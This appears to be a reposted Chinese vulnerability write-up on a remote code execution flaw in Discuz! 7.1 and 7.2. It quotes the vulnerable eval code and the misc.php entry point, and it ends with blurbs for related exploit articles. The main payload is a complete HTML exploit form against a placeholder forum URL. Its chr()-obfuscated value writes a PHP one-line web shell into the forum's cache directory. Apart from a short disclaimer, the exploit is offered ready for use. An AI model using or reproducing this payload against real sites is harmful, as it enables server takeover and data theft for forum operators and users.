Discuz! 7.1 & 7.2 远程代码执行漏洞

受影响产品:

Discuz! 7.1 & 7.2

漏洞描述:

产生漏洞的$scriptlang数组在安装插件后已经初始化

Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。

下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:

一、漏洞来自showmessage函数:

function showmessage($message, $url_forward = ‘‘, $extra = ‘‘, $forwardtype = 0) {
     extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from www.oldjun.com
     global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
     define(‘CACHE_FORBIDDEN‘, TRUE);
     $hookscriptmessage = $show_message = $message;$messagehandle = 0;
     $msgforward = unserialize($_DCACHE[‘settings‘][‘msgforward‘]);
     $refreshtime = intval($msgforward[‘refreshtime‘]);
     $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
     $msgforward[‘refreshtime‘] = $refreshtime * 1000;
     $url_forward = empty($url_forward) ? ‘‘ : (empty($_DCOOKIE[‘sid‘]) && $transsidstatus ? transsid($url_forward) : $url_forward);
     $seccodecheck = $seccodestatus & 2;
     if($_DCACHE[‘settings‘][‘funcsiteid‘] && $_DCACHE[‘settings‘][‘funckey‘] && $funcstatinfo && !IS_ROBOT) {
         $statlogfile = DISCUZ_ROOT.‘./forumdata/funcstat.log‘;
         if($fp = @fopen($statlogfile, ‘a‘)) {
             @flock($fp, 2);
             if(is_array($funcstatinfo)) {
                 $funcstatinfo = array_unique($funcstatinfo);
                 foreach($funcstatinfo as $funcinfo) {
                     fwrite($fp, funcstat_query($funcinfo, $message)."\n");
                 }
             } else {
                 fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
             }
             fclose($fp);
             $funcstatinfo = $GLOBALS[‘funcstatinfo‘] = ‘‘;
         }
     }

     if(!defined(‘STAT_DISABLED‘) && STAT_ID > 0 && !IS_ROBOT) {
         write_statlog($message);
     }

     if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward[‘quick‘] && $msgforward[‘messages‘] && @in_array($message, $msgforward[‘messages‘]))) {
         updatesession();
         dheader("location: ".str_replace(‘&‘, ‘&‘, $url_forward));
     }
     if(!empty($infloat)) {
         if($extra) {
             $messagehandle = $extra;
         }
         $extra = ‘‘;
     }
     if(in_array($extra, array(‘HALTED‘, ‘NOPERM‘))) {
         $discuz_action = 254;
     } else {
         $discuz_action = 255;
     }

     include language(‘messages‘);

     $vars = explode(‘:‘, $message);//只要含:就可以了
     if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割
         eval("\$show_message = \"".str_replace(‘"‘, ‘\"‘, $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义,from www.oldjun.com
     } elseif(isset($language[$message])) {
         $pre = $inajax ? ‘ajax_‘ : ‘‘;
         eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
         unset($pre);
     }

     ......
}
二、DZ的全局机制导致了未初始化的参数可以任意提交:

foreach(array(‘_COOKIE‘, ‘_POST‘, ‘_GET‘) as $_request) {
     foreach($$_request as $_key => $_value) {
         $_key{0} != ‘_‘ && $$_key = daddslashes($_value);
     }
}
三、misc.php正好有个可以自定义message的点,其实也是未初始化:

elseif($action == ‘imme_binding‘ && $discuz_uid) {

     if(isemail($id)) {
         $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid=‘$discuz_uid‘");
         $msn = explode("\t", $msn);
         $id = dhtmlspecialchars(substr($id, 0, strpos($id, ‘@‘)));
         $msn = "$msn[0]\t$id";
         $db->query("UPDATE {$tablepre}memberfields SET msn=‘$msn‘ WHERE uid=‘$discuz_uid‘");
         showmessage(‘msn_binding_succeed‘, ‘memcp.php‘);
     } else {
         if($result == ‘Declined‘) {
             dheader("Location: memcp.php");
         } else {
             showmessage($response[‘result‘]);//$response没有初始化,可以自定义,from www.oldjun.com

         }
     }

    } 

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

    1. showmessage函数里$vars = explode(‘:‘, $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。
    2. 下面是HTML测试代码:
    3. <form method="post" action="http://bbs.XXXX.com/misc.php" enctype="multipart/form-data">
    4. 帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" />
    5. <input type="hidden" name="action" value="imme_binding" />
    6. <input type="hidden" name="response[result]" value="1:2" />
    7. <input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
    8. <input type="submit" name="topicsubmit" value="提交" class="submit" />
    9. </form>
    10. forumdata/cache/usergroup_01.php cmd 生成的一句话
时间: 2024-10-03 11:01:51

Discuz! 7.1 & 7.2 远程代码执行漏洞的相关文章

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr

Apache ActiveMQ Fileserver远程代码执行漏洞

扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ 5.1.0 下载地址:http://activemq.apache.org/activemq-510-release.html 解压后,双击运行abtivemq.bat运行.(进入bin目录,根据自己的操作系统选择win32或win64,5.1.0只有win32目录) 访问8161端口: 漏洞利用

ElasticSearch Groovy脚本远程代码执行漏洞

什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行任意命令..."任意"你懂的,比如:利用nc反弹sh

Struts2再爆远程代码执行漏洞(S2-016)

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行.  描述 影响版本 Struts 2.0.0 - Struts 2.3.15 报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE编号 CVE-2013-2251 漏洞证明 参数会以OGN

Portable OpenSSH GSSAPI远程代码执行漏洞(CVE-2006-5051)漏洞解决方案

漏洞的名称为Portable OpenSSH GSSAPI远程代码执行漏洞(CVE-2006-5051)及OpenSSH J-PAKE授权问题漏洞(CVE-2010-4478),厂家给出的解决方案很笼统.经过各方查找资料,大致的解决方案是升级到高版本的openssh,目前最新版本是openssh 6.7p1. 下载地址:http://mirror.internode.on.net/pub/OpenBSD/OpenSSH/portable/ 可以根据自己的需要选择下载升级,其实没别要升级到最新版本

小米手机MIUI远程代码执行漏洞分析

7月我在研究webview漏洞时专门挑小米手机的MIUI测试了下,发现了非常明显的安全漏洞.通过该漏洞可以远程获取本地APP的权限,突破本地漏洞和远程漏洞的界限,使本地app的漏洞远程也能被利用,达到隔山打牛的效果.在漏洞发现的第一时间,我已经将漏洞细节报告给了小米安全响应中心,目前漏洞已经修复. 测试环境:手机型号:MI 3 Android版本:4.2.1 JOP40D MIUI版本:MIUI-JXCCNBE21 内核版本:3.4.35-ga656ab9 一.   小米MIUI原生浏览器存在意

Apache Tomcat CVE-2017-12615远程代码执行漏洞分析

2017年9月19日, Apache Tomcat官方发布两个严重的安全漏洞, 其中CVE-2017-12615为远程代码执行漏洞,通过put请求向服务器上传恶意jsp文件, 再通过jsp文件在服务器上执行任意代码, 且最新的补丁未完全修复漏洞.中新网安将对该漏洞进行持续关注, 并第一时间为您更新相关漏洞信息. 漏洞编号 CVE-2017-12615 漏洞名称 Apache Tomcat 远程代码执行漏洞 漏洞评级 严重 影响范围 Apache Tomcat 7.0.0 - 7.0.79 漏洞分